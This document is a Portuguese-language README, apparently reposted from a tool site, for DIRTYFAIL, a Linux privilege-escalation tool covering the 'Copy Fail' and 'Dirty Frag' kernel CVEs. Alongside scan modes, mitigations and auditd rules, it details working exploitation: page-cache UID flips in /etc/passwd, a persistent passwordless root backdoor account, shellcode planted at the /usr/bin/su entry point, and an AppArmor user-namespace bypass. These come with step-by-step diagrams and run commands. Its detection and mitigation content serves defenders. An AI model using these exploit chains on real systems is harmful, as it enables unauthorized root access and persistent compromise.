| `--scan --active` | Adiciona uma sonda STORE de arquivo sentinela por CVE — distingue pré-condições atendidas de realmente explorável |
| `--scan --json` | Emite um único objeto JSON na stdout (amigável a SIEM); logs vão para stderr |
| `--check-copyfail` / `--check-esp` / `--check-esp6` / `--check-rxrpc` / `--check-gcm` | Apenas detecção por CVE |

**Exploração (exige confirmação digitada; corrompe o cache de páginas do `/etc/passwd`):**

| Modo | O que faz |
|---|---|
| `--exploit-copyfail` | Inversão de UID via primitiva de 4 bytes `algif_aead` |
| `--exploit-esp` | Inversão de UID via xfrm-ESP v4 (precisa de userns+CAP_NET_ADMIN) |
| `--exploit-esp6` | Inversão de UID via xfrm-ESP v6 |
| `--exploit-rxrpc` | Campo de senha root vazio via força bruta rxkad fcrypt |
| `--exploit-gcm` | Inversão de UID via primitiva de byte único `rfc4106(gcm(aes))` |
| `--exploit-backdoor` | PERSISTENTE: insere `dirtyfail::0:0:...:/:/bin/bash` |
| `--exploit-su` | Estilo V4bel: planta shellcode específico de arquitetura no ponto de entrada do `/usr/bin/su`. x86_64 testado de ponta a ponta; aarch64 é distribuído sem teste em hardware (condicionado a `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`) |

**Limpeza / inspeção de estado:**

| Modo | O que faz |
|---|---|
| `--cleanup` | Remove `/etc/passwd` do cache de páginas (`fadvise` + `drop_caches` se root) |
| `--cleanup-backdoor` | Restaura a linha original do `/etc/passwd` a partir do arquivo de estado |
| `--cleanup-su` | Restaura os bytes do ponto de entrada do `/usr/bin/su` a partir do arquivo de estado |
| `--list-state` | Informa o que (se houver) está atualmente plantado; sem efeitos colaterais |

**Defensivo (requer root):**

| Modo | O que faz |
|---|---|
| `--mitigate` | Coloca na lista negra os módulos `algif_aead`/`esp4`/`esp6`/`rxrpc`; define `apparmor_restrict_unprivileged_userns=1`; drop_caches. Efeitos colaterais: quebra IPsec, AFS |
| `--cleanup-mitigate` | Remove os arquivos modprobe/sysctl instalados por `--mitigate` |

**Opções comuns:**

| Opção | Efeito |
|---|---|
| `--no-shell` | Após uma exploração bem-sucedida, NÃO execute `execve su` — verifique e reverta |
| `--no-revert` | Com `--no-shell`, também pula a reversão automática (usado pela demo de escape de contêiner) |
| `--active` | Adiciona sondas sentinela-STORE ativas a `--scan`/`--check-*` |
| `--json` | (com `--scan`) emite saída legível por máquina |
| `--no-color` | Desativa cor ANSI |
| `--aa-bypass` | (somente DEBUG) força o bypass de userns não privilegiado do AppArmor — as explorações fazem isso internamente, veja §8.5 |

### Exemplos de detecção

Scan simples (somente pré-condições — rápido, ~1s):```sh
./dirtyfail --scan

Active sentinel probe per CVE (~10s, modifica apenas sentinelas em /tmp):```sh ./dirtyfail --scan --active

root@kitploit:~
JSON para ingestão em SIEM/fleet:```sh
$ ./dirtyfail --scan --active --json
{
  "tool": "dirtyfail",
  "version": "0.1.0",
  "hostname": "server-01",
  "kernel": "6.19.10-300.fc44.x86_64",
  "machine": "x86_64",
  "active_probes": true,
  "results": [
    {"cve": "CVE-2026-31431",     "name": "copyfail",        "status": "vulnerable"},
    {"cve": "CVE-2026-43284",     "name": "dirtyfrag-esp",   "status": "vulnerable"},
    {"cve": "CVE-2026-43284-v6",  "name": "dirtyfrag-esp6",  "status": "vulnerable"},
    {"cve": "CVE-2026-43500",     "name": "dirtyfrag-rxrpc", "status": "vulnerable"},
    {"cve": "CVE-2026-31431-gcm", "name": "copyfail-gcm",    "status": "vulnerable"}
  ],
  "summary": "vulnerable"
}

Valores de status: vulnerable, not_vulnerable, preconds_missing, test_error. O resumo reflete o pior entre os resultados.

Exemplos de exploração (confirmação digitada necessária)```sh

./dirtyfail --exploit-copyfail # UID-flip + drop into root via su ./dirtyfail --exploit-su # plant /bin/sh shellcode at /usr/bin/su entry ./dirtyfail --exploit-copyfail --no-shell # plant + verify + auto-revert (CI-safe)

root@kitploit:~
Cada exploit solicita `DIRTYFAIL` + (quando aplicável)
`YES_BREAK_SSH` antes de qualquer modificação do cache de páginas.

### Inspeção de estado + limpeza```sh
./dirtyfail --list-state          # what's currently planted? (side-effect free)
./dirtyfail --cleanup             # fadvise(DONTNEED) + drop_caches if root
./dirtyfail --cleanup-backdoor    # restore /etc/passwd from .dirtyfail.state
./dirtyfail --cleanup-su          # restore /usr/bin/su from .dirtyfail-su.state

Ou caia diretamente para o kernel:```sh sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'

root@kitploit:~
---

## 7. Como o DIRTYFAIL detecta cada CVE

### Copy Fail (sonda sentinela ativa)

A detecção de fato dispara a primitiva contra um arquivo sentinela em
`/tmp`:

1. Sonda `socket(AF_ALG, SOCK_SEQPACKET, 0)` e faz `bind` em
   `authencesn(hmac(sha256), cbc(aes))`.
2. Cria um arquivo sentinela de 4 KiB em `/tmp` e coloca sua primeira
   página na cache.
3. Executa a primitiva completa do exploit contra ele: `sendmsg` AAD com
   `seqno_lo = "PWND"`, faz splice de 32 bytes da sentinela no socket de
   operação AF_ALG, aciona `recv` para disparar a escrita de scratch.
4. Relê a sentinela e procura por `PWND` em qualquer lugar da primeira
   página.

Marcador encontrado ⇒ vulnerável. Marcador ausente, mas conteúdo da página
diferente ⇒ a primitiva disparou parcialmente (ainda vulnerável). Página
idêntica ⇒ não vulnerável neste kernel.

### Dirty Frag xfrm-ESP (baseado em pré-condições — ou ativo com `--active`)

O `--scan` padrão é apenas de pré-condições — não entramos em um namespace
de usuário no modo de detecção (isso causaria efeitos colaterais na rede
dentro desse namespace). Verificamos:

* versão do kernel dentro da janela afetada
* `esp4` / `esp6` atualmente carregados ou carregáveis automaticamente
* a criação de namespace de usuário não privilegiado tem sucesso (verificada
  via fork → filho `unshare(CLONE_NEWUSER)`)
* AppArmor `apparmor_userns_caps_blocked()` retorna falso

Todos os quatro presentes ⇒ VULNERÁVEL (pré-condições atendidas).

`--scan --active` estende isso com uma sonda sentinela-STORE: fazemos fork
de um filho que arma o bypass do AA, entra em um novo namespace de
usuário/rede, registra uma SA XFRM e dispara o gatilho ESP-in-UDP contra um
arquivo sentinela `/tmp/dirtyfail-esp-probe.XXXXXX`. O pai relê a sentinela
e procura pelos bytes do marcador:

* marcador gravado → o STORE do kernel está acessível → **VULNERÁVEL**
* página intacta → o patch do kernel está em vigor → **NÃO VULNERÁVEL**
* bypass do AA negado → **PRECOND_FAIL** (mitigado por LSM)

Esta é a única maneira de distinguir um kernel com patch backportado de um
sem patch sem executar o exploit completo de inversão de UID contra
`/etc/passwd`. O mesmo padrão é usado para ESP v6, RxRPC e GCM sob
`--active`.

### Dirty Frag RxRPC (baseado em pré-condições — ou ativo com `--active`)

Pré-condições:
* `rxrpc` em `/proc/modules` ou carregável automaticamente
* `socket(AF_RXRPC, SOCK_DGRAM, 0)` tem sucesso

Sonda ativa (`--active`): faz fork via bypass do AA, registra uma chave de
sessão rxrpc com um valor arbitrário de 8 bytes, envia uma falsificação
CHALLENGE + DATA contra uma sentinela em `/tmp`, procura por QUALQUER
mudança de byte dentro da janela de 8 bytes com splice. Não tentamos prever
o que foi gravado — qualquer modificação confirma que o STORE do kernel
dispara.

### Variante GCM do Copy Fail + ESP v6 — mesmo formato

A sonda ativa da variante GCM instala uma SA em modo transporte com um IV
arbitrário e dispara `gcm_trigger` contra uma sentinela em `/tmp`;
QUALQUER mudança de byte em sentinel[0] confirma a acessibilidade. A sonda
ESP v6 também calibra automaticamente `V6_STORE_SHIFT` por build do kernel
(ver `calibrate_v6_shift` em `src/dirtyfrag_esp6.c`) — builds de
`esp6_input` de diferentes distros colocam o STORE em offsets ligeiramente
diferentes dentro da região com splice, e a sonda de calibração descobre o
offset exato antes de o exploit real disparar.

---

## 8. Como o DIRTYFAIL explora cada CVE

### Exploit do Copy Fail (`copyfail.c`)

STORE único de 4 bytes através de `algif_aead`:```
                                          [/etc/passwd page cache]
 user  ──sendmsg(AAD = SPI||"0000")──▶ AF_ALG op
       ──splice(passwd_fd, 32B)──────▶ AF_ALG op (in-place dst SGL)
       ──recv()─────────────────────▶ kernel runs authencesn_decrypt
                                        scratch write: "0000" → uid_off
                                        EBADMSG returned to user (we ignore)
 user  ──open(passwd, RDONLY)─read──▶ "kara:x:0000:1000:..."   ◄─ page cache
 user  ──execlp("su", "kara")──────▶ PAM ✓ on /etc/shadow → setuid(0)
                                       ─────► root shell

Dirty Frag xfrm-ESP exploit (dirtyfrag_esp.c)

Mesmo estado final que Copy Fail, alcançado através de xfrm_input em vez de algif_aead:``` [/etc/passwd page cache] unshare(USER|NET); setup uid_map; ifup lo NETLINK_XFRM ─NEWSA(seq_hi="0000", encap=ESPINUDP/4500)─▶ kernel udp_recv bind 127.0.0.1:4500, UDP_ENCAP_ESPINUDP udp_send connect 127.0.0.1:4500 vmsplice ESP wire header (24B) ─▶ pipe splice /etc/passwd@uid_off (16B) ─▶ pipe splice pipe (40B) ─▶ udp_send udp loopback ─▶ udp_recv (UDP_ENCAP) ─▶ xfrm_input ─▶ esp_input skb has frags, no frag_list ─▶ goto skip_cow (THE BUG) crypto_authenc_esn_decrypt: scratch_write(seq_hi="0000" → page_addr+uid_off) ◄─ 4-byte STORE AEAD auth fails (EBADMSG) — but the STORE is permanent page-cache copy of /etc/passwd now reports uid 0 for the user

root@kitploit:~
Em seguida, saia do namespace, execute `execlp("su", user)` a partir do processo pai — o mesmo passo final do Copy Fail.

### Exploit Dirty Frag RxRPC (`dirtyfrag_rxrpc.c` + `fcrypt.c`)```
                                          [/etc/passwd page cache]
 user-space brute force of K_A, K_B, K_C such that fcrypt_decrypt(C, K)
   produces predicate-satisfying plaintexts for offsets 4, 6, 8
   (chained-ciphertext correction across passes)

 fork → child enters new userns:
   unshare(USER|NET); setup uid_map; ifup lo
   socket(AF_RXRPC) — autoload rxrpc.ko
   for each (off, K) in [(4,K_A), (6,K_B), (8,K_C)]:
     add_key("rxrpc", "df-evil<n>", v1_token{session_key=K})
     udp_srv = bind 127.0.0.1:port_S
     rxsk    = AF_RXRPC + SECURITY_KEY=df-evil<n> + bind :port_C
     rxsk → sendmsg(PINGPING)              triggers handshake init
     udp_srv ← receives kernel's first DATA-0
       extract (epoch, cid, callNumber)
     udp_srv → forged CHALLENGE             → rxsk auto-RESPONSE
                                               primes conn->rxkad.cipher with K
     csum_iv = AF_ALG pcbc(fcrypt)(epoch||cid||0||sec_ix, IV=K)
     cksum_h = AF_ALG pcbc(fcrypt)(call_id||x, IV=csum_iv)[1] >> 16
     vmsplice DATA hdr (28B) → pipe
     splice  /etc/passwd@off (8B) → pipe
     splice  pipe (36B) → udp_srv
     udp loopback → rxsk
       recvmsg → rxrpc_input → rxkad_verify_packet
         skb has frags, no frag_list → goto skip_unshare    (THE BUG)
         skcipher_request_set_crypt(req, sg=page+off, sg=page+off, 8, iv=0)
         crypto_skcipher_decrypt: pcbc(fcrypt)
           page[off..off+8] = fcrypt_decrypt(C_actual, K)    ◄─ 8-byte STORE

 child exits, parent verifies /etc/passwd[4..5] == "::"
 parent: execlp("su", "-")
   PAM common-auth: pam_unix.so nullok    → root has empty password
   su  → setresuid(0,0,0) → exec /bin/bash
                                       ─────► root shell

--exploit-su injeção de shellcode (exploit_su.c)

Uma segunda cadeia de ataque livre de /etc/passwd, modelada a partir do exploit de referência de V4bel. Em vez de editar o cache de páginas de /etc/passwd, plantamos shellcode específico de arquitetura no ponto de entrada ELF de /usr/bin/su em seu cache de páginas; na próxima vez que alguém executar /usr/bin/su, o kernel define euid=0 a partir do bit setuid no disco, o vinculador dinâmico resolve, e o controle é transferido para nosso shellcode → /bin/sh como root real do init-ns. Sem dependência de PAM, contorna a remoção de pam_unix nullok por completo.``` parent (init ns) │ stat /usr/bin/su; verify setuid+root │ parse ELF header; resolve e_entry → file offset │ pread() N bytes at file_offset → /var/tmp/.dirtyfail-su.state │ for each 4-byte chunk of shellcode: │ cf_4byte_write("/usr/bin/su", file_offset+i, chunk) │ pread() back; verify match │ if --no-shell: │ plant_shellcode(original) # revert via re-write │ fadvise(DONTNEED) on a new fd # evict if possible │ else: │ execl("/usr/bin/su", "su", NULL) ─► │ kernel exec /usr/bin/su (setuid root) │ ld-linux.so resolves │ jumps to e_entry → our shellcode │ setuid(0); setgid(0); │ execve("/bin/sh", argv, NULL) ▼ ────► root shell

root@kitploit:~
Architecture matrix:

* **x86_64 (56 bytes, 14 escritas encadeadas de 4 bytes)** — testada
  de ponta a ponta no Fedora 44 (`uid=0(root) gid=0(root) ...
  context=unconfined_u:unconfined_r:unconfined_t`). Shellcode em
  `shellcode_x86_64[]`.
* **aarch64 (80 bytes, 20 instruções)** — codificado manualmente a partir da
  referência ARMv8-A, **nunca executado em hardware**. Condicionado a
  `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`. O código-fonte vem em
  `tools/exploit_su_aarch64.S` para verificação pela comunidade — monte
  com `aarch64-linux-gnu-as` e confirme que a sequência de bytes
  corresponde a `shellcode_aarch64[]`.
* qualquer outra coisa → preconds_fail.

O arquivo de estado `/var/tmp/.dirtyfail-su.state` armazena os bytes originais do ponto de entrada para que `--cleanup-su` possa restaurá-los. `--list-state` inspeciona esse arquivo (e o do backdoor) sem tocar em nada.

Se a etapa de verificação descobrir que o cache de páginas não corresponde ao shellcode plantado (kernel corrigido, AF_ALG em lista negra, etc.), a reversão automática é acionada imediatamente e o arquivo de estado é removido — não há necessidade de o operador executar cleanup-su depois.

---

## 8.5 Arquitetura: bypass baseado em fork externo/interno

Todos os cinco modos de exploração compartilham uma arquitetura comum para lidar com a política `apparmor_restrict_unprivileged_userns=1` do Ubuntu sem prender o `su` pós-exploração dentro de um userns onde ele não consegue alcançar o root real do init-ns.

### O problema

Um bypass ingênuo coloca o processo *inteiro* `dirtyfail` dentro de um novo namespace de usuário via `unshare(CLONE_NEWUSER)`. Isso é suficiente para registrar SAs XFRM e disparar gatilhos de splice — mas também significa que o eventual `execlp("su", user)` é executado dentro do userns, onde o uid 0 é mapeado via `uid_map "0 1000 1"` para o uid externo do operador (1000). O `setresuid(0)` do PAM então cai no uid 0 do userns mapeado para 1000, que **não** é o root real do init-ns — `cat /etc/shadow` retorna EACCES, e o shell não consegue realmente executar operações privilegiadas.

### A correção: divisão externo/interno```
parent (dirtyfail, init ns)                 child (bypass userns)
─────────────────────────                   ─────────────────────
prompts (DIRTYFAIL / YES_BREAK_SSH)
resolve target (uid_off, K_A/K_B/K_C, ...)
setenv DIRTYFAIL_INNER_MODE=...
setenv DIRTYFAIL_TARGET_USER=...
fork ─────────────────────────────────────► change_onexec("crun")
                                             execv self ─► STAGE-1
                                                            execv self ─► STAGE-2
                                                                          unshare(USER|NET)
                                                                          uid_map / capset
                                                                          ifup lo
                                                                          main() detects INNER_MODE
                                                                          dispatch <mode>_inner()
                                                                          register XFRM SA
                                                                          splice trigger → page cache STORE
                                                                          _exit(DF_EXPLOIT_OK)
waitpid ◄───────────────────────────────── (child reaped)
read /etc/passwd (page cache is global)
verify modification visible
if do_shell:
  execlp("su", user) ← runs IN INIT NS
                       PAM auth → setresuid(0)
                       → REAL init-ns root shell
else:
  try_revert_passwd_page_cache

O pai nunca entra em um namespace de usuário. O filho faz o trabalho de bypass + kernel, modifica o cache de páginas global (que é compartilhado entre namespaces — a única "ponte" que precisamos) e sai. O su do pai é então uma chamada setresuid normal no namespace de init.

Transferência pai → filho via variáveis de ambiente

execv preserva o ambiente, então o pai guarda os parâmetros da operação em variáveis de ambiente antes de fazer fork. Cada modo define as suas próprias:

Após o estágio 2 do bypass ser concluído, main() verifica DIRTYFAIL_INNER_MODE e despacha para <mode>_exploit_inner(). A parte interna faz apenas o trabalho no kernel (sem prompts, sem fork, sem su) e sai com o código de resultado. O pai a coleta via waitpid e prossegue com a verificação.

Por que o bypass de salto único

A antiga dança de dois saltos (change_onexec("crun") → change_onexec("chrome")) causava falhas intermitentes de ENOSPC no Ubuntu 24.04 em nossa cadeia de execução (provavelmente uma peculiaridade da contabilidade de userns por perfil). O salto único para crun é suficiente — o perfil AppArmor do crun tem flags=(unconfined) e permissão explícita userns,, então o unshare tem sucesso e permanece bem-sucedido.

Por que não há loop infinito de re-execução

Após o estágio 2 ser concluído com êxito, uma flag local ao processo g_bypass_done é definida. Se apparmor_bypass_needed() for chamada novamente no mesmo processo, ela é curto-circuitada para false, impedindo que o código pós-exploit reative e aninhe outra camada de userns (o que anteriormente atingia o limite de aninhamento por userns como ENOSPC).

--aa-bypass agora é uma flag somente de depuração

Na arquitetura antiga, --aa-bypass ativava um bypass em todo o processo antes do despacho do exploit. Na nova arquitetura, os modos de exploit fazem seu próprio bypass baseado em fork internamente; a flag não é mais necessária para uso normal. Ela é mantida para depurar a mecânica do bypass isoladamente (por exemplo, executar --scan dentro de um userns de bypass), com um aviso de que pode quebrar o su pós-exploit.


9. Mitigações

Copy Fail (CVE-2026-31431)

  1. Aplique o patch. Mainline a664bf3d; os backports chegaram nas linhas estáveis 6.12 / 6.17 / 6.18.
  2. Interino: coloque algif_aead na lista negra: ```sh echo 'install algif_aead /bin/false' | sudo tee /etc/modprobe.d/copyfail.conf sudo rmmod algif_aead 2>/dev/null
    root@kitploit:~

⚠ Nota: isso não mitiga o Dirty Frag. O caminho xfrm-ESP alcança a mesma primitiva authencesn sem passar por algif_aead.

Dirty Frag xfrm-ESP (CVE-2026-43284)

  1. Aplique o patch. Mainline f4c50a4034e6 (mesclado em 2026-05-07). Backports das distros sendo lançados a partir de 2026-05-08.
  2. Medida provisória: coloque esp4 e esp6 na lista negra: ```sh sudo tee /etc/modprobe.d/dirtyfrag-esp.conf <<'EOF' install esp4 /bin/false install esp6 /bin/false EOF sudo rmmod esp4 esp6 2>/dev/null sudo sysctl vm.drop_caches=3
    root@kitploit:~

⚠ Isso quebra VPNs IPsec / strongSwan / libreswan. 3. Defesa em profundidade: desative namespaces de usuário não privilegiados. O Ubuntu faz isso por padrão via AppArmor; em outras distros: ```sh sudo sysctl -w kernel.unprivileged_userns_clone=0

root@kitploit:~
### Dirty Frag RxRPC (CVE-2026-43500)

1. **Ainda não há correção upstream.** O patch do pesquisador está no lkml; não foi mesclado até o momento da escrita (2026-05-08).
2. **Interino**: coloque `rxrpc` na lista negra:   ```sh
sudo tee /etc/modprobe.d/dirtyfrag-rxrpc.conf <<'EOF'
install rxrpc /bin/false
EOF
sudo rmmod rxrpc 2>/dev/null
sudo sysctl vm.drop_caches=3

⚠ Isso quebra os clientes do sistema de arquivos distribuído AFS. A maioria dos servidores não precisa de rxrpc.

One-liner combinado (todos os três)```sh

sudo sh -c ' cat > /etc/modprobe.d/dirtyfail.conf <<EOF install algif_aead /bin/false install esp4 /bin/false install esp6 /bin/false install rxrpc /bin/false EOF rmmod algif_aead esp4 esp6 rxrpc 2>/dev/null sysctl vm.drop_caches=3 '

root@kitploit:~
### Ou use `dirtyfail --mitigate`

O mesmo conjunto de mitigações é encapsulado em um modo defensivo controlado por confirmação digitada:```sh
sudo ./dirtyfail --mitigate

Isso adiciona /etc/modprobe.d/dirtyfail-mitigations.conf e /etc/sysctl.d/99-dirtyfail-mitigations.conf, descarrega os quatro módulos e drop_caches. Reverte com sudo ./dirtyfail --cleanup-mitigate. Efeitos colaterais: quebra IPsec, clientes AFS e qualquer userspace que use AF_ALG AEAD. Consulte docs/DEFENDERS.md para o playbook completo de administração de sistemas.

Detecção / monitoramento

Para detecção contínua independente de correções:

  • Escanear um host: dirtyfail --scan --active (probe completo do sentinel-STORE) ou dirtyfail --scan --active --json para ingestão SIEM/fleet. A variante bash tools/dirtyfail-check.sh não tem dependências de build.
  • Regras de auditoria: tools/99-dirtyfail.rules é um conjunto de regras auditd drop-in que cobre os cinco caminhos de syscall que a cadeia de exploração usa (registro netlink XFRM, add_key("rxrpc"), unshare(CLONE_NEWUSER), criação de socket AF_ALG, gravações em /etc/passwd//etc/shadow). Instale com: ```sh sudo install -m 0640 tools/99-dirtyfail.rules /etc/audit/rules.d/ sudo augenrules --load && sudo systemctl restart auditd
    root@kitploit:~
  • Demonstração do raio de explosão do contêiner: tools/dirtyfail-container-escape.sh mostra que o cache de páginas do kernel é compartilhado entre namespaces — útil para explicar o impacto entre tenants para os operadores.

10. Ética e divulgação

O DIRTYFAIL é uma ferramenta de pesquisa. As vulnerabilidades que cobre já foram divulgadas publicamente com PoCs armamentizados na natureza (veja Créditos) — o DIRTYFAIL adiciona cobertura de detecção, documentação unificada e uma variante de PoC mais suave (UID-flip vs sobrescrita de ELF do /usr/bin/su).

  • Não execute os modos --exploit-* em sistemas que você não possui ou não está explicitamente autorizado a testar. As modificações no cache de páginas são reversíveis com drop_caches, mas ainda representam escalada de privilégios enquanto persistirem.
  • Não implante o DIRTYFAIL como um "scanner" contra infraestrutura de terceiros sem autorização por escrito. O modo de detecção não modifica arquivos do sistema, mas abre um arquivo sentinela em /tmp e exercita a API de criptografia do kernel.
  • Se você encontrar um sistema vulnerável na natureza, faça uma divulgação responsável ao operador, não ao público.

Bônus: notas sobre a variante GCM + backdoor + bypass do AppArmor

Esses três recursos estendem o DIRTYFAIL com técnicas publicadas pela primeira vez por 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo. Reimplementadas no estilo DIRTYFAIL; o crédito original está em NOTICE.md.

Variante GCM do Copy Fail

Mesmo caminho no-COW xfrm-ESP do CVE-2026-43284, mas usando rfc4106(gcm(aes)) em vez de authencesn(...). Dois motivos pelos quais vale a pena incluí-lo junto com a variante authencesn:

  1. Cobertura. Um defensor que colocou algif_aead na lista negra para mitigar o Copy Fail (CVE-2026-31431) ainda está vulnerável aqui — o caminho do GCM não passa por algif_aead.
  2. Granularidade. O AES-GCM em modo contador aplica XOR do fluxo de chave sobre o byte emendado. Ao forçar o IV por força bruta (~256 tentativas por byte), gravamos um único byte arbitrário em qualquer deslocamento do arquivo — sem alinhamento de 4 bytes, sem efeitos colaterais de 4 bytes.

A primitiva de 1 byte (cfg_1byte_write) é o que torna o modo de backdoor persistente viável.

Backdoor persistente

--exploit-backdoor seleciona a linha mais longa de /etc/passwd cujo shell esteja em {nologin, false, sync} e a sobrescreve byte a byte com dirtyfail::0:0:<pad>:/:/bin/bash (com comprimento correspondente). Após a instalação, su - dirtyfail a partir de qualquer usuário fornece um shell root — sem solicitação de senha — porque pam_unix.so nullok aceita o campo de senha vazio.

O nome de usuário dirtyfail é propositalmente vinculado a este projeto para que seja fácil de detectar em qualquer auditoria posterior — defensores que executarem grep dirtyfail /etc/passwd (ou qualquer HIDS fazendo o mesmo) notarão a linha imediatamente. Se você precisar de um identificador diferente para um exercício específico de red team, altere NEW_USER e DF_PREFIX em src/backdoor.c.

O arquivo em disco não é alterado; a substituição existe apenas no cache de páginas. --cleanup-backdoor restaura a linha original por meio da mesma primitiva.

Bypass do AppArmor

O Ubuntu 24.04+ vem com apparmor_restrict_unprivileged_userns=1. O perfil padrão aplicado a binários não privilegiados permite que unshare(USER) tenha sucesso, mas remove CAP_NET_ADMIN no novo namespace. O registro de SA XFRM então falha silenciosamente.

O bypass: escreva "exec crun" em /proc/self/attr/exec e use execv para alternar para o perfil crun do AppArmor, que tem flags=(unconfined) e permissão explícita userns,. Após o exec, unshare(CLONE_NEWUSER | CLONE_NEWNET) funciona com todas as capacidades dentro do novo namespace.

O DIRTYFAIL lida com isso por modo de exploit por meio de um fork: o pai permanece no namespace init, o filho faz o bypass + o trabalho no kernel, o pai lê o cache de páginas global e executa su para obter o root real do init-ns. Veja §8.5 Arquitetura para a cadeia completa. O sinalizador legado --aa-bypass (que ativava o bypass para o processo inteiro) é mantido apenas para depuração.

A técnica original é de aa-rootns.c, de 0xdeadbeefnetwork (creditada ali a Brad Spengler / grsecurity). A implementação do DIRTYFAIL:

  • Detecta a restrição por meio do sysctl kernel.apparmor_restrict_unprivileged_userns em vez de ler /proc/self/attr/current (que ainda mostra "unconfined" no Ubuntu 24.04 mesmo quando a política está restringindo).
  • Usa um único salto para crun em vez da sequência de dois saltos crun → chrome — o segundo salto causava ENOSPC intermitente no Ubuntu 24.04.
  • Define um sinalizador g_bypass_done local ao processo após o estágio 2 para que novas verificações sejam interrompidas (evitando loops infinitos de re-execução que anteriormente esgotavam o limite de aninhamento por userns).

11. Créditos

O DIRTYFAIL é código original, mas as técnicas que implementa foram desenvolvidas pelos pesquisadores abaixo. Leia as fontes primárias deles antes de implantar esta ferramenta — elas são as referências canônicas.

Autores dos patches:

  • f4c50a4034e6 (xfrm-ESP do Dirty Frag) — baseado no patch v1 de Hyunwoo Kim, com a abordagem de fragmento compartilhado fundida por Kuan-Ting Chen.
  • Patch RxRPC — Hyunwoo Kim, aguardando merge.

Licença

MIT. Consulte LICENSE.


Contato

Abra uma issue neste repositório ou entre em contato pelo endereço listado no histórico de commits. Para divulgação coordenada de problemas relacionados, entre em contato diretamente com os pesquisadores upstream listados acima.

Baixar ferramenta
ModeEnv vars
esp / esp6 / gcmDIRTYFAIL_INNER_MODE, DIRTYFAIL_TARGET_USER
rxrpcDIRTYFAIL_INNER_MODE=rxrpc, DIRTYFAIL_K_{A,B,C} (hex) — a força bruta do fcrypt ocorre no pai (não são necessárias capabilities); as chaves são passadas ao filho para os gatilhos reais
backdoor-install / backdoor-cleanupDIRTYFAIL_INNER_MODE, DIRTYFAIL_LINE_OFF, VICTIM_LINE, TARGET_LINE
FontePesquisadorContribuição
https://copy.fail/AnonymousDivulgação original do Copy Fail
https://github.com/Smarttfoxx/copyfailSmarttfoxxPoC em C (variante com shellcode em su)
https://github.com/rootsecdev/cve_2026_31431rootsecdevDetector em Python + PoC de UID-flip; a ergonomia do modo --exploit-copyfail do DIRTYFAIL segue essa abordagem.
https://github.com/V4bel/dirtyfragHyunwoo Kim (@v4bel)Descoberta do Dirty Frag, PoC da cadeia completa, patches de kernel
https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo0xdeadbeefnetworkExploit da variante GCM, PoC IPv6, técnica de bypass de userns do AppArmor
https://www.bleepingcomputer.com/news/security/new-linux-dirty-frag-zero-day-with-poc-exploit-gives-root-privileges/BleepingComputerReportagem pública